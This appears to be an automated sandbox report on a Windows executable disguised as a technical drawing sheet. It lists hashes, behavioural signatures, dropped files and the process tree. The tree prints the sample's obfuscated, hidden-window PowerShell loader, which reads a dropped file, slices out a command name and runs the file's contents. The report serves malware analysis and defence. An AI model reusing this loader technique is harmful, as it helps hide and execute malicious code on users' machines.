Analysis

  • max time kernel
    135s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/03/2024, 03:55

General

  • Target

    RefTechnical Drawing Sheet.exe

  • Size

    963KB

  • MD5

    2f96e6fd36ceec8c32dcc6c7607a87bd

  • SHA1

    89b9bd60c39a582da440112f12f939c90102d567

  • SHA256

    11bfafb62ab5e5c115862409c849f069dc0903abf0f864783bea73472db19932

  • SHA512

    755e29062263821fac7c37be3dd7e0b980804adbe301d1945c9098ca1cb8ae57f293a022a2e11677e404bac323b4e5995d4c57d45c2edb13595ff151547993b9

  • SSDEEP

    12288:wbZfqmfr+7Iz6tuhHr2WX3rLKJQEKKHP9SxG4A1wF7dieRJ14BEtIX2UgGj+Xtah:wbZCmf67FtuZFX3KJQgl4KEoEoePUF3Z

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RefTechnical Drawing Sheet.exe
    "C:\Users\Admin\AppData\Local\Temp\RefTechnical Drawing Sheet.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Trykimprgnerede=Get-Content 'C:\Users\Admin\AppData\Local\butikstiders\Sjunger\Bedwarmer.Hom';$Ekstraparlementarisk=$Trykimprgnerede.SubString(59534,3);.$Ekstraparlementarisk($Trykimprgnerede)"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4964
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
        3⤵
          PID:4396
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 2544
          3⤵
          • Program crash
          PID:2436
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4964 -ip 4964
      1⤵
        PID:4160

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lc5ibtys.jft.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\butikstiders\Sjunger\Bedwarmer.Hom

        Filesize

        58KB

        MD5

        aae5fcb1e66470ef7a08ea335b80ac05

        SHA1

        9422c0898c87a134c72c6ffa35c594d93dba9dc9

        SHA256

        8bd9205c7c8f112ff5cba1307842eddccc18e20e227cccb7b74e6a24e686b8b0

        SHA512

        031d187a47a9b687d6822f34e74029f2f1cf4eb8687dc2846a3d84efbf9d30d5459870842a22cdab89130915501e2593f79b2a32da5c266d382120e0a042b072

      • memory/4964-23-0x0000000005450000-0x00000000057A4000-memory.dmp

        Filesize

        3.3MB

      • memory/4964-24-0x0000000005A40000-0x0000000005A5E000-memory.dmp

        Filesize

        120KB

      • memory/4964-11-0x0000000004AA0000-0x0000000004AC2000-memory.dmp

        Filesize

        136KB

      • memory/4964-14-0x0000000004DB0000-0x0000000004E16000-memory.dmp

        Filesize

        408KB

      • memory/4964-9-0x0000000002540000-0x0000000002550000-memory.dmp

        Filesize

        64KB

      • memory/4964-12-0x0000000004D40000-0x0000000004DA6000-memory.dmp

        Filesize

        408KB

      • memory/4964-7-0x0000000073FC0000-0x0000000074770000-memory.dmp

        Filesize

        7.7MB

      • memory/4964-10-0x0000000004E20000-0x0000000005448000-memory.dmp

        Filesize

        6.2MB

      • memory/4964-25-0x0000000005A90000-0x0000000005ADC000-memory.dmp

        Filesize

        304KB

      • memory/4964-27-0x0000000005F80000-0x0000000005F9A000-memory.dmp

        Filesize

        104KB

      • memory/4964-28-0x0000000005FD0000-0x0000000005FF2000-memory.dmp

        Filesize

        136KB

      • memory/4964-29-0x0000000007040000-0x00000000075E4000-memory.dmp

        Filesize

        5.6MB

      • memory/4964-26-0x00000000069F0000-0x0000000006A86000-memory.dmp

        Filesize

        600KB

      • memory/4964-8-0x0000000000900000-0x0000000000936000-memory.dmp

        Filesize

        216KB

      • memory/4964-31-0x0000000007C70000-0x00000000082EA000-memory.dmp

        Filesize

        6.5MB

      • memory/4964-33-0x0000000073FC0000-0x0000000074770000-memory.dmp

        Filesize

        7.7MB